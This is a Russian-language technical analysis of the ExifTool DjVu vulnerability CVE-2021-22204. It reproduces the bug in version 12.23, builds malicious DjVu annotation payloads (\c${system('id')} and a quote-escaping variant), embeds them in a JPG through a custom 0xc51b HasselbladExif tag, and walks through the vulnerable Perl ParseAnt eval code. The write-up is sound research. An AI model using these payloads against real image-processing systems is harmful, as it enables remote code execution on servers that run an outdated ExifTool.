
Углублённый технический анализ CVE-2021-22204 (ExifTool RCE) с воспроизведением PoC, конструированием полезной нагрузки и обзором Perl-кода уязвимого парсера аннотаций DjVu.
Это должно было быть аналитической статьей о CVE-2021-22204, но больше похоже на мою черновую тетрадь, заполненную множеством беспорядочных вещей. Для статьи об анализе уязвимости это кажется многословным, но я многое узнал.
Честно говоря, я никогда не пользовался этим инструментом и почти не сталкивался с языком Perl, поэтому в процессе анализа и даже воспроизведения у меня было много вопросов. Прежде чем начать анализ, давайте посмотрим на уже опубликованные PoC в интернете и на мои вопросы.
Статья, которую я увидел, [1], кратко описывает причину возникновения уязвимости, но из-за того, что я не понимаю код Perl, многое осталось неясным. Процесс воспроизведения выглядит следующим образом:
Скачиваем версию exiftool 12.23
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
Распаковываем и устанавливаем
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
Конечно, если вы не хотите его устанавливать, вы можете просто поместить файл exiftool из каталога exiftool-12.23 в каталог, доступный в переменной окружения, и тогда можно будет использовать инструмент exiftool напрямую, так как Perl — интерпретируемый язык, похожий на Python.
Создаем вредоносное изображение. Сначала устанавливаем необходимые инструменты
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
Выполните следующую команду, чтобы создать вредоносный djvu-файл
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# Это было для меня самым запутанным – я не понимал, зачем нужно сжатие (поскольку в других PoC оно не требуется)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
Затем, используя инструмент exiftool для анализа этого вредоносного файла, мы видим, что команда id успешно выполняется
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
При создании файла в формате djvu с помощью команды djvumake, можно ли не сжимать payload? Потому что с точки зрения анализа это неудобно для просмотра и тестирования. Конечно, можно, нужно просто заменить параметр ANTz на ANTa. Описание ANTz и ANTa можно найти в документации exiftool [3], но их конкретное значение я так и не нашел, потому что не нашел стандартного описания.
Хочется немного пожаловаться: хотя я пытался посмотреть описание параметров через
man djvumake, в нем вообще нет объясненияANTzиANTa. Дата документации — 2001 год, она давно не обновлялась.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa означает, что Annotation хранится в metadata файла djvu в открытом текстовом формате, а ANTz — в формате сжатия bzz.
Однако файлы в формате djvu встречаются нечасто, особенно на сайтах, где есть возможность загрузки изображений, обычно принимают только png/jpg/jpeg. Поэтому было бы замечательно, если бы вредоносный djvu-файл можно было превратить в jpg-файл.
Инструмент exiftool может помочь нам изменить содержимое изображения: нужно просто вставить вредоносный djvu-файл в нужное место jpg-файла. О том, какое именно это место и почему оно подходит, я расскажу позже при анализе.
Создаем конфигурационный файл exiftool eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b соответствует тегу 'HasselbladExif'[6]
0xc51b => {
# Имя может быть любым, это имя параметра, который будет приниматься
Name => 'HasselbladExif',
# Тип переменной, доступной для записи
Writable => 'string',
# Группа metadata, к которой относятся записываемые данные [7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
О том, как писать конфигурационные файлы exiftool, можно узнать в [4][5]. Затем возьмите обычный jpg-файл poc.jpg и выполните следующую команду
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
Затем проанализируйте poc.jpg с помощью exiftool — команда успешно выполняется
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
Следующий анализ основан на содержании [2]. Уязвимость затрагивает версии exiftool < 12.24, уязвимый файл:
lib/Image/ExifTool/DjVu.pm (line 202)
Код соответствующей функции:
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
Я никогда не работал с языком Perl, и, честно говоря, почти не понимал, что делает этот код, но, к счастью, есть очень хорошие комментарии, помогающие понять функциональность функции. Из комментария к функции следует, что она используется для разбора данных annotation в djvu-файлах, и, судя по структуре кода, она рекурсивная, а данные annotation ограничены скобками ().
Чтобы было легче понять код, а также в учебных целях, я кратко расскажу об использовании регулярных выражений в Perl.
Использование регулярных выражений в Perl довольно специфично и отличается от языков, с которыми я сталкивался ранее. В Perl есть три формы регулярных выражений:
m//, m можно опуститьs///tr///Между // находится регулярное выражение или строка, но разделителями также могут быть {}, а не только // — это особенность Perl.
Рассмотрим пример кода с совпадением:
#!/usr/bin/perl
$str = "this is a string";
$str =~ /this/;
print $str;
print "\n";
В Perl можно использовать оператор =~ для работы с регулярными выражениями. В приведенном выше коде, независимо от того, сработало регулярное выражение или нет, при выводе $str будет выведено this is a string. Однако, если регулярное выражение не сработало, оно вернет булево значение false.
#!/usr/bin/perl
$str = "this is a string";
if ($str =~ /this12/) {
print "true\n";
} else {
print "false\n";
}
Если нужно заменить содержимое строковой переменной, можно сделать так:
#!/usr/bin/perl
$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;
print $str;
print "\n";
# ouput
# this is str
При использовании замены значение переменной изменяется напрямую.
Теперь, когда мы разобрались с регулярными выражениями в Perl, вернемся к предыдущей функции:
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
# Получаем переданный параметр (ссылку)
my $dataPt = shift;
print($$dataPt);
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
# При встрече открывающей скобки обрабатываем рекурсивно
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
# Получаем позицию, где было найдено предыдущее совпадение регулярного выражения
# На этом этапе это позиция первой кавычки
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
# Снова ищем позицию закрывающей кавычки и извлекаем содержимое между кавычками
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
print($tok."\n");
# we're good unless quote was escaped by odd number of backslashes
# Проверяем, нечетное ли количество обратных слешей, чтобы избежать экранирования " в последующем qq{""}
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
# Если нечетное, добавляем "
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
print(qq{"$tok"}."\n");
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
Чтобы было понятнее, нужен подходящий файл, который при разборе exiftool вызовет эту функцию. Можно создать djvu-файл exploit.djvu описанным ранее способом, с содержимым payload:
(metadata (Author "trganda"))
После этого добавить несколько print в ключевых местах функции ParseAnt($), как показано выше. Затем в каталоге исходного кода exiftool выполнить:
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore
Отсюда видно, что в eval в конечном итоге передается следующее (обратите внимание, что двойные кавычки важны):
"trganda"
А что, если заменить trganda на функцию system для выполнения команды? Попробуем:
$tok = "${system('id')};";
# output
# "\${system('id')};"
При запуске видно, что выводится только переданный текст, код не выполняется, потому что $ заменяется на \$:
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
Как обойти это ограничение? Нужно разбираться поэтапно. Автор [2] при тестировании использовал следующий payload:
(metadata (Author "a\
""))
После выполнения вывод выглядит так: eval выдает исключение.
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\
a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
Объясним, что происходит с этим payload. В основном интересует второй цикл for:
# Содержимое Annotation для Author, не пропустите \n
"a\(\n)
""
# В первом проходе цикла извлекаем подстроку, $tok получает следующее (первое регулярное выражение находит первую кавычку, второе — первую кавычку во второй строке)
a\(\n)
# Затем код проверяет, нечетное ли количество \ в конце строки, если да — добавляет "
# При этом регулярное выражение $tok =~ /(\\+)$/ сопоставляет $ с \n, а не с концом текста.
# Таким образом, выполняется последующий код, и в конец $tok добавляется ".
a\(\n)"
# Второй проход цикла извлекает подстроку между "" второй строки, но она пуста, после конкатенации с $tok получается то же самое
a\(\n)"
# Затем в eval передается
qq{"$tok"} -> "a\(\n)""
# После выполнения eval возникает ошибка, так как " не закрыта
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
По поводу логики выполнения eval в Perl рекомендую обратиться к официальной документации [9]. Однако, поскольку некоторые аспекты в документации не упомянуты, а я никогда не использовал Perl, мне было трудно понять некоторые моменты. Мне пришлось постоянно тестировать на примерах кода, чтобы понять некоторые логические аспекты eval. Ниже я расскажу о некоторых моментах, полезных для понимания этой уязвимости, а затем перейду к описанию выполнения реального payload.
eval в Perl, помимо выполнения фрагментов кода, также может перехватывать исключения и не прерывает выполнение программы. eval может принимать строковую константу, строковую переменную или непосредственно код для анализа и выполнения.
# Строковая константа
eval "system('id')";
# Переменная
$cm = "system('id')";
eval $cm;
eval "$cm";
# Непосредственное выполнение кода
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
Стратегия выполнения eval заключается в том, что возвращается только результат последнего подвыражения. То есть, если код содержит несколько блоков, берется только последний результат, примерно так:
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST
Когда eval выполняет оператор с ошибкой, последующий код не выполняется, и выбрасывается исключение (если есть).
Вернемся к ранее использованному тестовому payload. Что мы заметили? Если нам удастся успешно закрыть " и поместить нужный код для выполнения между " второй строки, то код будет выполнен eval.
Автор [2] предложил следующую форму:
(metadata
(Author "\
" . return `date`; #")
)
# Содержимое, передаваемое в eval:
"\
" . return `date`; #"
Как понять эту часть, выполняемую eval? Во-первых, оператор . в Perl используется для конкатенации строк. Поэтому сначала выполняется:
return `date`;
Затем результат конкатенируется с \(\n). На самом деле return не обязателен и не влияет на выполнение команды date, а последняя " закомментирована.
Конечно, можно написать и так:
(metadata (Author "\
"; return `date`; #"))
# Содержимое, передаваемое в eval:
"\
"; return `date`; #"
В этом случае eval сначала разбирает "\(\n)";, эта часть интерпретируется как строка, затем продолжает разбор последующих операторов, и команда date успешно выполняется.
После выполнения приведенного выше payload вы увидите примерно такой результат — видно, что команда успешно выполнена:
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number : 12.23
File Name : exploit.djvu
...
Author : 2021年 11月 04日 星期四 15:22:05 CST.
...
Писать уже надоело. Payload, предложенный автором [2], отлично выполняется благодаря обходу ". Есть ли другие способы? На самом деле, если вернуться к самому началу [1], там уже был приведен такой:
(metadata "\c${system('id)};")
Нужно понимать, что функция ParseAnt($) заменяет символ $, поэтому напрямую выполнить его не удается. Почему же этот работает? Интересно, какую роль играет \c. Сначала создаем djvu-файл с этим payload, после разбора exiftool в eval передается:
"\c\${system('id)};"
Если бы \c не было:
"\${system('id)};"
Этот код не будет выполнен, результатом будет просто строка, так как символ $ экранирован. А \c отменяет действие экранирования перед $, позволяя выполнить последующий код. В Perl существует множество escape-последовательностей, и \c — одна из них, но она используется не сама по себе, а в паре с любым символом.
| Escape-последовательность | Значение |
|---|---|
| \cX | Управляющий символ, X — любой символ |
Именно поэтому \c\ интерпретируется как нечто иное, и последующий код выполняется.
Ранее созданные вредоносные файлы были ограничены форматом djvu. Было бы более осмысленно создать файл распространенного формата, например, jpg. Для этого нужно выяснить, при разборе каких файлов вызывается уязвимая функция ParseAnt($).
Поиск вверх показывает, что ProcessAnt($$$) вызывает ParseAnt($), но далее найти напрямую не удается.
ProcessAnt($$$)
|
v
ParseAnt($)
Поскольку в Perl есть механизм динамической загрузки модулей, можно попробовать найти, где загружается файл Djvu.pm.

При последовательной проверке найденных файлов обнаруживается, что в lib/Image/ExifTool.pm на строке 2620 есть код, который в зависимости от типа файла решает, какой модуль загружать для его обработки.
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
# ...
my $module = $moduleName{$type};
$module = $type unless defined $module;
my $func = "Process$type";
# load module if necessary
if ($module) {
require "Image/ExifTool/$module.pm";
$func = "Image::ExifTool::${module}::$func";
} elsif ($module eq '0') {
$self->SetFileType();
$self->Warn('Unsupported file type');
last;
}
# ...
}
Затем ищем, где вызывается ExtractInfo($;@). Обнаруживается несколько мест, основное внимание уделяется части кода в lib/Image/ExifTool/Exif.pm на строке 3004:
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
WRITE_PROC => \&WriteExif,
CHECK_PROC => \&CheckExif,
WRITE_GROUP => 'ExifIFD', # default write group
SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
# ...
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
# ...
);
%Image::ExifTool::Exif::Main — это таблица в формате Map, а функциональность Exif.pm, как указано в комментариях, предназначена для чтения метаинформации в формате EXIF/TIFF.
Description: Read EXIF/TIFF meta information
Ранее при воспроизведении мы уже видели %Image::ExifTool::Exif::Main и не понимали, что означает 0xc51 и почему нужно именно это значение. Теперь мы знаем: если метаинформация в файле содержит соответствующий id 0xc51, то она будет обработана функцией ExtractInfo и постепенно дойдет до уязвимой функции.
Поэтому ранее, используя мощные возможности настройки exiftool, мы написали конфигурационный файл, определили пользовательский тег для обычного jpg-файла, вставили метаданные типа 0xc51b, содержащие вредоносное содержимое. Теперь весь процесс срабатывания понятен, и мои собственные вопросы получили ответы. Автор [2] также приводит способы вставки вредоносных данных в файлы других форматов, идея аналогична.
Посмотрим diff на GitHub:

[3] TagNames of DjVu
[4] TagNames Explan
[6] EXIF
[7] Groups
[9] eval in Perl